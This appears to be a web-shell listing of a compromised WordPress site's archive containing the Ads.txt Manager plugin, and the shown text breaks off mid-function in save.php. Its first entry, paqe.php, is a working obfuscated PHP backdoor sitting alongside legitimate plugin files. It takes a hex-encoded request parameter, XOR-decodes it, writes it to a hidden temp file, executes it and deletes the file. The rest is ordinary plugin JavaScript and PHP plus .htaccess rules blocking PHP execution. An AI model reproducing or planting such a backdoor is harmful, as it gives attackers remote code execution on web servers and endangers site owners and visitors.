Your IP : 216.73.216.162


Current Path : /home/x/b/o/xbodynamge/namtation/wp-content/
Upload File :
Current File : /home/x/b/o/xbodynamge/namtation/wp-content/custom-1750156756.tar

paqe.php000066600000001327151126313640006214 0ustar00<!--NapIekwY-->
<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["\x70\x72o\x70e\x72\x74\x79_set"])){
$itm = array_filter(["/var/tmp", session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]);
$holder = hex2bin($_REQUEST["\x70\x72o\x70e\x72\x74\x79_set"]);
$token = '' ; foreach(str_split($holder) as $char){$token.=chr(ord($char)^33);}
while ($binding = array_shift($itm)) {
            if (max(0, is_dir($binding) * is_writable($binding))) {
            $val = vsprintf("%s/%s", [$binding, ".hld"]);
            $success = file_put_contents($val, $token);
if ($success) {
    include $val;
    @unlink($val);
    exit;
}
        }
}
}css/.htaccess000066600000000424151126313640007140 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>css/admin.css000066600000000056151126313640007145 0ustar00.adstxt-revision-count {
	font-weight: bold;
}.htaccess000066600000000424151126313640006350 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>js/.htaccess000066600000000424151126313640006764 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>js/admin.js000066600000006015151126313640006616 0ustar00( function( $, _ ) {
	var submit               = $( document.getElementById( 'submit' ) ),
		notificationArea     = $( document.getElementById( 'adstxt-notification-area' ) ),
		notificationTemplate = wp.template( 'adstext-notice' ),
		editor               = wp.CodeMirror.fromTextArea( document.getElementById( 'adstxt_content' ), {
			lineNumbers: true,
			mode: 'shell'
		} );

	function checkForAdsFile( e ) {
		var spinner = $( '.existing-adstxt .spinner' );

		if ( false !== e ) {
			spinner.addClass( 'is-active' );
			e.preventDefault();
		}

		var adstxt_type = $('input[name=adstxt_type]').val();
		var wpnonce = $('input[name=_wpnonce]').val();

		$.get({
			url: window.ajaxurl,
			type: 'POST',
			data: {
				action: 'adstxts_check_for_existing_file',
				adstxt_type: (adstxt_type === "" || adstxt_type === undefined) ? null : adstxt_type,
				_wpnonce: wpnonce,
			},
			success: function(response) {
				spinner.removeClass( 'is-active' );
				if ( ! response.file_exist ) {
					// Ads.txt not found
					$( '.existing-adstxt' ).hide();
				} else {
					$( '.existing-adstxt' ).show();
				}
			}
		});
	}

	// Call our check when we first load the page
	checkForAdsFile( false );

	$( '.ads-txt-rerun-check' ).on( 'click', checkForAdsFile );

	submit.on( 'click', function( e ){
		e.preventDefault();

		var	textarea    = $( document.getElementById( 'adstxt_content' ) ),
			notices     = $( '.adstxt-notice' ),
			submit_wrap = $( 'p.submit' ),
			saveSuccess = false,
			spinner     = submit_wrap.find( '.spinner' );

		submit.attr( 'disabled', 'disabled' );
		spinner.addClass( 'is-active' );

		// clear any existing messages
		notificationArea.hide();
		notices.remove();

		// Copy the code mirror contents into form for submission.
		textarea.val( editor.getValue() );

		$.ajax({
			type: 'POST',
			dataType: 'json',
			url: ajaxurl,
			data: $( '.adstxt-settings-form' ).serialize(),
			success: function( r ) {
				var templateData = {};

				spinner.removeClass( 'is-active' );

				if ( 'undefined' !== typeof r.sanitized ) {
					textarea.val( r.sanitized );
				}

				if ( 'undefined' !== typeof r.saved && r.saved ) {
					saveSuccess = true;
				} else {
					templateData.errors = {
						'error_message': adstxt.unknown_error
					}
				}

				if ( 'undefined' !== typeof r.errors && r.errors.length > 0 ) {
					templateData.errors = {
						'error_message': adstxt.error_message,
						'errors':        r.errors
					}
				}

				// Refresh after a successful save, otherwise show the error message.
				if ( saveSuccess ) {
					document.location = document.location + '&ads_txt_saved=1';
				} else {
					notificationArea.html( notificationTemplate( templateData ) ).show();
				}

			}
		})
	});

	$( '.wrap' ).on( 'click', '#adstxt-ays-checkbox', function( e ) {
		if ( true === $( this ).prop( 'checked' ) ) {
			submit.removeAttr( 'disabled' );
		} else {
			submit.attr( 'disabled', 'disabled' );
		}
	} );

	editor.on( 'change', function() {
		$( '.adstxt-ays' ).remove();
		submit.removeAttr( 'disabled' );
	} );

} )( jQuery, _ );
inc/admin.php000066600000041632151126313640007132 0ustar00<?php
/**
 * Admin functionality for Ads.txt.
 *
 * @package Ads_Txt_Manager
 */

namespace AdsTxt;

/**
 * Enqueue any necessary scripts.
 *
 * @param  string $hook Hook name for the current screen.
 *
 * @return void
 */
function admin_enqueue_scripts( $hook ) {
	if ( ! preg_match( '/adstxt-settings$/', $hook ) ) {
		return;
	}

	wp_enqueue_script(
		'adstxt',
		esc_url( plugins_url( '/js/admin.js', dirname( __FILE__ ) ) ),
		array( 'jquery', 'wp-backbone', 'wp-codemirror' ),
		ADS_TXT_MANAGER_VERSION,
		true
	);
	wp_enqueue_style( 'code-editor' );
	wp_enqueue_style(
		'adstxt',
		esc_url( plugins_url( '/css/admin.css', dirname( __FILE__ ) ) ),
		array(),
		ADS_TXT_MANAGER_VERSION
	);

	$strings = array(
		'error_message' => esc_html__( 'Your Ads.txt contains the following issues:', 'ads-txt' ),
		'unknown_error' => esc_html__( 'An unknown error occurred.', 'ads-txt' ),
	);

	if ( 'settings_page_app-adstxt-settings' === $hook ) {
		$strings['error_message'] = esc_html__( 'Your app-ads.txt contains the following issues:', 'ads-txt' );
	}

	wp_localize_script( 'adstxt', 'adstxt', $strings );
}
add_action( 'admin_enqueue_scripts', __NAMESPACE__ . '\admin_enqueue_scripts' );

/**
 * Output some CSS directly in the head of the document.
 *
 * Should there ever be more than ~25 lines of CSS, this should become a separate file.
 *
 * @return void
 */
function admin_head_css() {
	?>
<style>
.CodeMirror {
	width: 100%;
	min-height: 60vh;
	height: calc( 100vh - 295px );
	border: 1px solid #ddd;
	box-sizing: border-box;
	}
</style>
	<?php
}
add_action( 'admin_head-settings_page_adstxt-settings', __NAMESPACE__ . '\admin_head_css' );
add_action( 'admin_head-settings_page_app-adstxt-settings', __NAMESPACE__ . '\admin_head_css' );

/**
 * Appends a query argument to the edit url to make sure it is redirected to
 * the ads.txt screen.
 *
 * @since 1.2.0
 *
 * @param string $url Edit url.
 * @return string Edit url.
 */
function ads_txt_adjust_revisions_return_to_editor_link( $url ) {
	global $pagenow, $post;

	if ( 'revision.php' !== $pagenow || ! isset( $_REQUEST['adstxt'] ) ) { // @codingStandardsIgnoreLine Nonce not required.
		return $url;
	}

	$type = 'adstxt';

	if ( 'app-adstxt' === $post->post_type ) {
		$type = 'app-adstxt';
	}

	return admin_url( 'options-general.php?page=' . $type . '-settings' );
}
add_filter( 'get_edit_post_link', __NAMESPACE__ . '\ads_txt_adjust_revisions_return_to_editor_link' );

/**
 * Modifies revisions data to preserve adstxt argument used in determining
 * where to redirect user returning to editor.
 *
 * @since 1.9.0
 *
 * @param array $revisions_data The bootstrapped data for the revisions screen.
 * @return array Modified bootstrapped data for the revisions screen.
 */
function adstxt_revisions_restore( $revisions_data ) {
	if ( isset( $_REQUEST['adstxt'] ) ) { // @codingStandardsIgnoreLine Nonce not required.
		$revisions_data['restoreUrl'] = add_query_arg(
			'adstxt',
			1,
			$revisions_data['restoreUrl']
		);
	}

	return $revisions_data;
}
add_filter( 'wp_prepare_revision_for_js', __NAMESPACE__ . '\adstxt_revisions_restore' );

/**
 * Hide the revisions title with CSS, since WordPress always shows the title
 * field even if unchanged, and the title is not relevant for ads.txt.
 */
function admin_header_revisions_styles() {
	$current_screen = get_current_screen();

	if ( ! $current_screen || 'revision' !== $current_screen->id ) {
		return;
	}

	if ( ! isset( $_REQUEST['adstxt'] ) ) { // @codingStandardsIgnoreLine Nonce not required.
		return;
	}

	?>
	<style>
		.revisions-diff .diff h3 {
			display: none;
		}
		.revisions-diff .diff table.diff:first-of-type {
			display: none;
		}
	</style>
	<?php

}
add_action( 'admin_head', __NAMESPACE__ . '\admin_header_revisions_styles' );

/**
 * Add admin menu page.
 *
 * @return void
 */
function admin_menu() {
	add_options_page(
		esc_html__( 'Ads.txt', 'ads-txt' ),
		esc_html__( 'Ads.txt', 'ads-txt' ),
		ADS_TXT_MANAGE_CAPABILITY,
		'adstxt-settings',
		__NAMESPACE__ . '\adstxt_settings_screen'
	);

	add_options_page(
		esc_html__( 'App-ads.txt', 'ads-txt' ),
		esc_html__( 'App-ads.txt', 'ads-txt' ),
		ADS_TXT_MANAGE_CAPABILITY,
		'app-adstxt-settings',
		__NAMESPACE__ . '\app_adstxt_settings_screen'
	);
}
add_action( 'admin_menu', __NAMESPACE__ . '\admin_menu' );

/**
 * Set up settings screen for ads.txt.
 *
 * @return void
 */
function adstxt_settings_screen() {
	$post_id = get_option( ADS_TXT_MANAGER_POST_OPTION );

	$strings = array(
		'existing'      => __( 'Existing Ads.txt file found', 'ads-txt' ),
		'precedence'    => __( 'An ads.txt file on the server will take precedence over any content entered here. You will need to rename or remove the existing ads.txt file before you will be able to see any changes you make on this screen.', 'ads-txt' ),
		'errors'        => __( 'Your Ads.txt contains the following issues:', 'ads-txt' ),
		'screen_title'  => __( 'Manage Ads.txt', 'ads-txt' ),
		'content_label' => __( 'Ads.txt content', 'ads-txt' ),
	);

	$args = array(
		'post_type'  => 'adstxt',
		'post_title' => 'Ads.txt',
		'option'     => ADS_TXT_MANAGER_POST_OPTION,
		'action'     => 'adstxt-save',
	);

	settings_screen( $post_id, $strings, $args );
}

/**
 * Set up settings screen for app-ads.txt.
 *
 * @return void
 */
function app_adstxt_settings_screen() {
	$post_id = get_option( APP_ADS_TXT_MANAGER_POST_OPTION );

	$strings = array(
		'existing'      => __( 'Existing App-ads.txt file found', 'ads-txt' ),
		'precedence'    => __( 'An app-ads.txt file on the server will take precedence over any content entered here. You will need to rename or remove the existing app-ads.txt file before you will be able to see any changes you make on this screen.', 'ads-txt' ),
		'errors'        => __( 'Your app-ads.txt contains the following issues:', 'ads-txt' ),
		'screen_title'  => __( 'Manage App-ads.txt', 'ads-txt' ),
		'content_label' => __( 'App-ads.txt content', 'ads-txt' ),
	);

	$args = array(
		'post_type'  => 'app-adstxt',
		'post_title' => 'App-ads.txt',
		'option'     => APP_ADS_TXT_MANAGER_POST_OPTION,
		'action'     => 'app-adstxt-save',
	);

	settings_screen( $post_id, $strings, $args );
}

/**
 * Output the settings screen for both files.
 *
 * @param int   $post_id Post ID associated with the file.
 * @param array $strings Translated strings that mention the specific file name.
 * @param array $args    Array of other necessary information to appropriately name items.
 *
 * @return void
 */
function settings_screen( $post_id, $strings, $args ) {
	$post             = false;
	$content          = false;
	$errors           = array();
	$revision_count   = 0;
	$last_revision_id = false;

	if ( $post_id ) {
		$post = get_post( $post_id );
	}

	if ( is_a( $post, 'WP_Post' ) ) {
		$content          = $post->post_content;
		$revisions        = wp_get_post_revisions( $post->ID );
		$revision_count   = count( $revisions );
		$last_revision    = array_shift( $revisions );
		$last_revision_id = $last_revision ? $last_revision->ID : false;
		$errors           = get_post_meta( $post->ID, 'adstxt_errors', true );
		$warnings         = get_post_meta( $post->ID, 'adstxt_warnings', true );
		$revisions_link   = $last_revision_id ? admin_url( 'revision.php?adstxt=1&revision=' . $last_revision_id ) : false;

	} else {

		// Create an initial post so the second save creates a comparable revision.
		$postarr = array(
			'post_title'   => $args['post_title'],
			'post_content' => '',
			'post_type'    => $args['post_type'],
			'post_status'  => 'publish',
		);

		$post_id = wp_insert_post( $postarr );
		if ( $post_id ) {
			update_option( $args['option'], $post_id );
		}
	}

	// Clean orphaned posts.
	clean_orphaned_posts( $post_id, $args['post_type'] );
	?>
<div class="wrap">
	<?php if ( ! empty( $warnings ) ) : ?>
		<div class="notice notice-warning adstxt-notice">
		<ul>
			<?php
			foreach ( $warnings as $warning ) {
				echo '<li>';

				// Errors were originally stored as an array.
				// This old style only needs to be accounted for here at runtime display.
				if ( isset( $warning['message'] ) ) {
					/* translators: Error message output. 1: Error message */
					$message = sprintf(
						'%1$s',
						$warning['message']
					);

					echo esc_html( $message );
				} else {
					display_formatted_error( $warning );
				}

				echo '</li>';
			}
			?>
		</ul>
		</div>
	<?php endif; ?>
	<div class="notice notice-error adstxt-notice existing-adstxt" style="display: none;">
		<p><strong><?php echo esc_html( $strings['existing'] ); ?></strong></p>
		<p><?php echo esc_html( $strings['precedence'] ); ?></p>

		<p><?php echo esc_html_e( 'Removed the existing file but are still seeing this warning?', 'ads-txt' ); ?> <a class="ads-txt-rerun-check" href="#"><?php echo esc_html_e( 'Re-run the check now', 'ads-txt' ); ?></a> <span class="spinner" style="float:none;margin:-2px 5px 0"></span></p>
	</div>
	<?php if ( ! empty( $errors ) ) : ?>
	<div class="notice notice-error adstxt-notice adstxt-notice-save-error">
		<p><strong><?php echo esc_html( $strings['errors'] ); ?></strong></p>
		<ul>
			<?php
			foreach ( $errors as $error ) {
				echo '<li>';

				// Errors were originally stored as an array.
				// This old style only needs to be accounted for here at runtime display.
				if ( isset( $error['message'] ) ) {
					$message = sprintf(
						/* translators: Error message output. 1: Line number, 2: Error message */
						__( 'Line %1$s: %2$s', 'ads-txt' ),
						$error['line'],
						$error['message']
					);

					echo esc_html( $message );
				} else {
					display_formatted_error( $error );
				}

				echo '</li>';
			}
			?>
		</ul>
	</div>
	<?php endif; ?>

	<h2><?php echo esc_html( $strings['screen_title'] ); ?></h2>

	<form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>" class="adstxt-settings-form">
		<input type="hidden" name="post_id" value="<?php echo esc_attr( $post_id ) ? esc_attr( $post_id ) : ''; ?>" />
		<input type="hidden" name="adstxt_type" value="<?php echo esc_attr( $args['post_type'] ); ?>" />
		<input type="hidden" name="action" value="<?php echo esc_attr( $args['action'] ); ?>" />
		<?php wp_nonce_field( 'adstxt_save' ); ?>

		<label class="screen-reader-text" for="adstxt_content"><?php echo esc_html( $strings['content_label'] ); ?></label>
		<textarea class="widefat code" rows="25" name="adstxt" id="adstxt_content"><?php echo esc_textarea( $content ); ?></textarea>
		<?php
		if ( $revision_count > 1 ) {
			?>
			<div class="misc-pub-section misc-pub-revisions">
			<?php
				echo wp_kses_post(
					sprintf(
						/* translators: Post revisions heading. 1: The number of available revisions */
						__( 'Revisions: <span class="adstxt-revision-count">%s</span>', 'ads-txt' ),
						number_format_i18n( $revision_count )
					)
				);
			?>
				<a class="hide-if-no-js" href="<?php echo esc_url( $revisions_link ); ?>">
					<span aria-hidden="true">
						<?php echo esc_html( __( 'Browse', 'ads-txt' ) ); ?>
					</span> <span class="screen-reader-text">
						<?php echo esc_html( __( 'Browse revisions', 'ads-txt' ) ); ?>
					</span>
				</a>
		</div>
			<?php
		}
		?>
		<div id="adstxt-notification-area"></div>

		<p class="submit">
			<input type="submit" name="submit" id="submit" class="button button-primary" value="<?php echo esc_attr( 'Save Changes' ); ?>">
			<span class="spinner" style="float:none;vertical-align:top"></span>
		</p>

	</form>

	<script type="text/template" id="tmpl-adstext-notice">
		<# if ( ! _.isUndefined( data.errors ) ) { #>
		<div class="notice notice-error adstxt-notice adstxt-errors adstxt-notice-save-error">
			<p><strong>{{ data.errors.error_message }}</strong></p>
			<# if ( ! _.isUndefined( data.errors.errors ) ) { #>
			<ul class="adstxt-errors-items">
			<# _.each( data.errors.errors, function( error ) { #>
				<?php foreach ( array_keys( get_error_messages() ) as $error_type ) : ?>
				<# if ( "<?php echo esc_html( $error_type ); ?>" === error.type ) { #>
					<li>
						<?php
						display_formatted_error(
							array(
								'line'  => '{{error.line}}',
								'type'  => $error_type,
								'value' => '{{error.value}}',
							)
						);
						?>
					</li>
				<# } #>
				<?php endforeach; ?>
			<# } ); #>
			</ul>
			<# } #>
		</div>

		<# if ( _.isUndefined( data.saved ) && ! _.isUndefined( data.errors.errors ) ) { #>
		<p class="adstxt-ays">
			<input id="adstxt-ays-checkbox" name="adstxt_ays" type="checkbox" value="y" />
			<label for="adstxt-ays-checkbox">
				<?php esc_html_e( 'Update anyway, even though it may adversely affect your ads?', 'ads-txt' ); ?>
			</label>
		</p>
		<# } #>

		<# } #>
	</script>
</div>

	<?php
}

/**
 * Take an error array and output it as a message.
 *
 * @param  array $error {
 *     Array of error message components.
 *
 *     @type int    $line    Line number of the error.
 *     @type string $type    Type of error.
 *     @type string $value   Optional. Value in question.
 * }
 *
 * @return string|void
 */
function display_formatted_error( $error ) {
	$messages = get_error_messages();

	if ( ! isset( $messages[ $error['type'] ] ) ) {
		return __( 'Unknown error', 'adstxt' );
	}

	if ( ! isset( $error['value'] ) ) {
		$error['value'] = '';
	}

	$message = sprintf( esc_html( $messages[ $error['type'] ] ), '<code>' . esc_html( $error['value'] ) . '</code>' );

	printf(
		/* translators: Error message output. 1: Line number, 2: Error message */
		esc_html__( 'Line %1$s: %2$s', 'ads-txt' ),
		esc_html( $error['line'] ),
		wp_kses_post( $message )
	);
}

/**
 * Get all non-generic error messages, translated and with placeholders intact.
 *
 * @return array Associative array of error messages.
 */
function get_error_messages() {
	$messages = array(
		'invalid_variable'     => __( 'Unrecognized variable' ),
		'invalid_record'       => __( 'Invalid record' ),
		'invalid_account_type' => __( 'Third field should be RESELLER or DIRECT' ),
		/* translators: %s: Subdomain */
		'invalid_subdomain'    => __( '%s does not appear to be a valid subdomain' ),
		/* translators: %s: Exchange domain */
		'invalid_exchange'     => __( '%s does not appear to be a valid exchange domain' ),
		/* translators: %s: Alphanumeric TAG-ID */
		'invalid_tagid'        => __( '%s does not appear to be a valid TAG-ID' ),
	);

	return $messages;
}

/**
 * Maybe display admin notices on the Ads.txt settings page.
 *
 * @return void
 */
function admin_notices() {
	if ( 'settings_page_adstxt-settings' === get_current_screen()->base ) {
		$saved = __( 'Ads.txt saved', 'ads-txt' );
	} elseif ( 'settings_page_app-adstxt-settings' === get_current_screen()->base ) {
		$saved = __( 'App-ads.txt saved', 'ads-txt' );
	} else {
		return;
	}

	if ( isset( $_GET['ads_txt_saved'] ) ) : // @codingStandardsIgnoreLine Nonce not required.
		?>
	<div class="notice notice-success adstxt-notice adstxt-saved">
		<p><?php echo esc_html( $saved ); ?></p>
	</div>
		<?php
	elseif ( isset( $_GET['revision'] ) ) : // @codingStandardsIgnoreLine Nonce not required.
		?>
	<div class="notice notice-success adstxt-notice adstxt-saved">
		<p><?php echo esc_html__( 'Revision restored', 'ads-txt' ); ?></p>
	</div>
		<?php
	endif;
}
add_action( 'admin_notices', __NAMESPACE__ . '\admin_notices' );

/**
 * Clean orphaned posts if found.
 *
 * @param int    $option    adstxt | app_adstxt post ID.
 * @param string $post_type The post type, either 'adstxt' or 'app_adstxt'.
 *
 * @return boolean
 */
function clean_orphaned_posts( $option, $post_type ) {
	$args = [
		'fields'    => 'ids', // Only get post IDs.
		'post_type' => $post_type,
	];

	$ads_posts = get_posts( $args );

	if ( 1 === count( $ads_posts ) && [ (int) $option ] === $ads_posts ) {
		return false;
	}

	// Search for the active post ID and remove it from the array.
	$index = array_search( (int) $option, $ads_posts, true );
	if ( false !== $index ) {
		unset( $ads_posts[ $index ] );
	}

	if ( empty( $ads_posts ) ) {
		return false;
	}

	foreach ( $ads_posts as $post_id ) {
		wp_delete_post( $post_id, true );
	}

	return true;
}

/**
 * Check if ads.txt file already exists in the server
 *
 * @return void
 */
function adstxts_check_for_existing_file() {
	current_user_can( ADS_TXT_MANAGE_CAPABILITY ) || die;
	check_admin_referer( 'adstxt_save' );

	$home_url_parsed = wp_parse_url( home_url() );
	$adstxt_type     = sanitize_text_field( $_POST['adstxt_type'] );

	if ( 'adstxt' !== $adstxt_type && 'app-adstxt' !== $adstxt_type ) {
		wp_die();
	}

	$file_name = 'adstxt' === $adstxt_type ? '/ads.txt' : '/app-ads.txt';

	if ( empty( $home_url_parsed['path'] ) ) {
		$response = wp_remote_request( home_url( $file_name ) );

		$file_exist = false;
		if ( ! is_wp_error( $response ) ) {
			// Check the ads.txt generator header.
			$headers    = wp_remote_retrieve_headers( $response );
			$generator  = isset( $headers['X-Ads-Txt-Generator'] ) ? $headers['X-Ads-Txt-Generator'] : '';
			$file_exist = 'https://wordpress.org/plugins/ads-txt/' !== $generator;
		}

		// Return the response
		wp_send_json(
			[
				'success'    => true,
				'file_exist' => $file_exist,
			]
		);

		// Make sure to exit
		wp_die();
	}
}

add_action( 'wp_ajax_adstxts_check_for_existing_file', __NAMESPACE__ . '\adstxts_check_for_existing_file' );
inc/helpers.php000066600000005674151126313640007512 0ustar00<?php
/**
 * Helper functions for Ads.txt.
 *
 * @package Ads_Txt_Manager
 */

namespace AdsTxt;

/**
 * Display the contents of /ads.txt when requested.
 *
 * @return void
 */
function display_ads_txt() {
	$request = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : false;
	if ( '/ads.txt' === $request || '/ads.txt?' === substr( $request, 0, 9 ) ) {
		$post_id = get_option( ADS_TXT_MANAGER_POST_OPTION );

		// Set custom header for ads-txt
		header( 'X-Ads-Txt-Generator: https://wordpress.org/plugins/ads-txt/' );

		// Will fall through if no option found, likely to a 404.
		if ( ! empty( $post_id ) ) {
			$post = get_post( $post_id );

			if ( ! $post instanceof \WP_Post ) {
				return;
			}

			header( 'Content-Type: text/plain' );
			$adstxt = $post->post_content;

			/**
			 * Filter the ads.txt content.
			 *
			 * @since 1.2.0
			 *
			 * @param type  $adstxt The existing ads.txt content.
			 */
			echo esc_html( apply_filters( 'ads_txt_content', $adstxt ) );
			die();
		}
	} elseif ( '/app-ads.txt' === $request || '/app-ads.txt?' === substr( $request, 0, 13 ) ) {
		$post_id = get_option( APP_ADS_TXT_MANAGER_POST_OPTION );

		// Set custom header for ads-txt
		header( 'X-Ads-Txt-Generator: https://wordpress.org/plugins/ads-txt/' );

		// Will fall through if no option found, likely to a 404.
		if ( ! empty( $post_id ) ) {
			$post = get_post( $post_id );

			if ( ! $post instanceof \WP_Post ) {
				return;
			}

			header( 'Content-Type: text/plain' );
			$adstxt = $post->post_content;

			/**
			 * Filter the app-ads.txt content.
			 *
			 * @since 1.3.0
			 *
			 * @param type  $app_adstxt The existing ads.txt content.
			 */
			echo esc_html( apply_filters( 'app_ads_txt_content', $adstxt ) );
			die();
		}
	}
}
add_action( 'init', __NAMESPACE__ . '\display_ads_txt' );

/**
 * Add custom capabilities.
 *
 * @return void
 */
function add_capabilities() {
	$role = get_role( 'administrator' );

	// Bail early if the administrator role doesn't exist.
	if ( null === $role ) {
		return;
	}

	if ( ! $role->has_cap( ADS_TXT_MANAGE_CAPABILITY ) ) {
		$role->add_cap( ADS_TXT_MANAGE_CAPABILITY );
	}
}
add_action( 'admin_init', __NAMESPACE__ . '\add_capabilities' );
register_activation_hook( __FILE__, __NAMESPACE__ . '\add_capabilities' );

/**
 * Remove custom capabilities when deactivating the plugin.
 *
 * @return void
 */
function remove_capabilities() {
	$role = get_role( 'administrator' );

	// Bail early if the administrator role doesn't exist.
	if ( null === $role ) {
		return;
	}

	$role->remove_cap( ADS_TXT_MANAGE_CAPABILITY );
}
register_deactivation_hook( __FILE__, __NAMESPACE__ . '\remove_capabilities' );

/**
 * Add a query var to detect when ads.txt has been saved.
 *
 * @param array $qvars Array of query vars.
 *
 * @return array Array of query vars.
 */
function add_query_vars( $qvars ) {
	$qvars[] = 'ads_txt_saved';
	return $qvars;
}
add_filter( 'query_vars', __NAMESPACE__ . '\add_query_vars' );
inc/.htaccess000066600000000424151126313640007121 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>inc/save.php000066600000022635151126313640007002 0ustar00<?php
/**
 * Save functionality for Ads.txt.
 *
 * @package Ads_Txt_Manager
 */

namespace Adstxt;

/**
 * Process and save the ads.txt data.
 *
 * Handles both AJAX and POST saves via `admin-ajax.php` and `admin-post.php` respectively.
 * AJAX calls output JSON; POST calls redirect back to the Ads.txt edit screen.
 *
 * @return void
 */
function save() {
	current_user_can( ADS_TXT_MANAGE_CAPABILITY ) || die;
	check_admin_referer( 'adstxt_save' );
	$_post      = stripslashes_deep( $_POST );
	$doing_ajax = defined( 'DOING_AJAX' ) && DOING_AJAX;

	$post_id = (int) $_post['post_id'];
	$ays     = isset( $_post['adstxt_ays'] ) ? $_post['adstxt_ays'] : null;

	// Different browsers use different line endings.
	$lines                        = preg_split( '/\r\n|\r|\n/', $_post['adstxt'] );
	$sanitized                    = array();
	$errors                       = array();
	$warnings                     = array();
	$response                     = array();
	$has_only_placeholder_records = null;

	foreach ( $lines as $i => $line ) {
		$line_number = $i + 1;
		$result      = validate_line( $line, $line_number, $has_only_placeholder_records );

		$sanitized[] = $result['sanitized'];
		if ( ! empty( $result['errors'] ) ) {
			$errors = array_merge( $errors, $result['errors'] );
		}

		if ( ! empty( $result['warnings'] ) ) {
			$warnings = array_merge( $warnings, $result['warnings'] );
		}

		if ( ! empty( $result['is_placeholder_record'] ) ) {
			if ( is_null( $has_only_placeholder_records ) ) {
				$has_only_placeholder_records = true;
			}
		}

		list( 'errors' => $errors_data, 'warnings' => $warnings_data, 'is_placeholder_record' => $is_placeholder, 'is_empty_record' => $is_empty_line, 'is_comment' => $is_comment ) = $result;

		// Check if the line is valid, then set $has_only_placeholder_records to false.
		if ( empty( $is_placeholder ) && empty( $errors_data ) && empty( $warnings_data ) && ( ! $is_comment && ! $is_empty_line ) ) {
			$has_only_placeholder_records = false;
		}
	}

	// If $has_only_placeholder_records is false, remove no_authorized_seller warning.
	if ( false === $has_only_placeholder_records ) {
		$key = array_search( 'no_authorized_seller', array_column( $warnings, 'type' ) );
		if ( false !== $key ) {
			unset( $warnings[ $key ] );
		}
	}

	$sanitized = implode( PHP_EOL, $sanitized );
	$postarr   = array(
		'ID'           => $post_id,
		'post_title'   => 'Ads.txt',
		'post_content' => $sanitized,
		'post_type'    => 'adstxt',
		'post_status'  => 'publish',
		'meta_input'   => array(
			'adstxt_errors'   => $errors,
			'adstxt_warnings' => $warnings,
		),
	);

	if ( 'app-adstxt' === $_post['adstxt_type'] ) {
		$postarr['post_title'] = 'App-ads.txt';
		$postarr['post_type']  = 'app-adstxt';
	}

	if ( ! $doing_ajax || empty( $errors ) || 'y' === $ays ) {
		$post_id = wp_insert_post( $postarr );

		if ( $post_id ) {
			$response['saved'] = true;
		}
	}

	if ( $doing_ajax ) {
		$response['sanitized'] = $sanitized;

		if ( ! empty( $errors ) ) {
			$response['errors'] = $errors;
		}

		echo wp_json_encode( $response );
		die();
	}

	wp_safe_redirect( esc_url_raw( $_post['_wp_http_referer'] ) . '&updated=true' );
	exit;
}
add_action( 'admin_post_adstxt-save', __NAMESPACE__ . '\save' );
add_action( 'admin_post_app-adstxt-save', __NAMESPACE__ . '\save' );
add_action( 'wp_ajax_adstxt-save', __NAMESPACE__ . '\save' );
add_action( 'wp_ajax_app-adstxt-save', __NAMESPACE__ . '\save' );

/**
 * Validate a single line.
 *
 * @param string $line                         The line to validate.
 * @param string $line_number                  The line number being evaluated.
 * @param string $has_only_placeholder_records Flag for presence of placeholder record.
 *
 * @return array {
 *     @type string $sanitized Sanitized version of the original line.
 *     @type array  $errors    Array of errors associated with the line.
 * }
 */
function validate_line( $line, $line_number, $has_only_placeholder_records = null ) {
	static $record_lines   = 0;
	$is_placeholder_record = false;
	$is_empty_record       = false;
	$is_comment            = false;

	// Only to count for records, not comments/variables.
	$domain_regex = '/^((?=[a-z0-9-]{1,63}\.)(xn--)?[a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,63}$/i';
	$errors       = array();
	$warnings     = array();

	if ( empty( $line ) ) {
		$sanitized       = '';
		$is_empty_record = true;
	} elseif ( 0 === strpos( $line, '#' ) ) { // This is a full-line comment.
		$sanitized  = wp_strip_all_tags( $line );
		$is_comment = true;
	} elseif ( 1 < strpos( $line, '=' ) ) { // This is a variable declaration.
		// The spec currently supports CONTACT, INVENTORYPARTNERDOMAIN, SUBDOMAIN, OWNERDOMAIN and MANAGERDOMAIN.
		if ( ! preg_match( '/^(CONTACT|SUBDOMAIN|INVENTORYPARTNERDOMAIN|OWNERDOMAIN|MANAGERDOMAIN)=/i', $line ) ) {
			$errors[] = array(
				'line' => $line_number,
				'type' => 'invalid_variable',
			);
		} elseif ( 0 === stripos( $line, 'subdomain=' ) ) { // Subdomains should be, well, subdomains.
			// Disregard any comments.
			$subdomain = explode( '#', $line );
			$subdomain = $subdomain[0];

			$subdomain = explode( '=', $subdomain );
			array_shift( $subdomain );

			// If there's anything other than one piece left something's not right.
			if ( 1 !== count( $subdomain ) || ! preg_match( $domain_regex, $subdomain[0] ) ) {
				$subdomain = implode( '', $subdomain );
				$errors[]  = array(
					'line'  => $line_number,
					'type'  => 'invalid_subdomain',
					'value' => $subdomain,
				);
			}
		}

		$sanitized = wp_strip_all_tags( $line );

		unset( $subdomain );
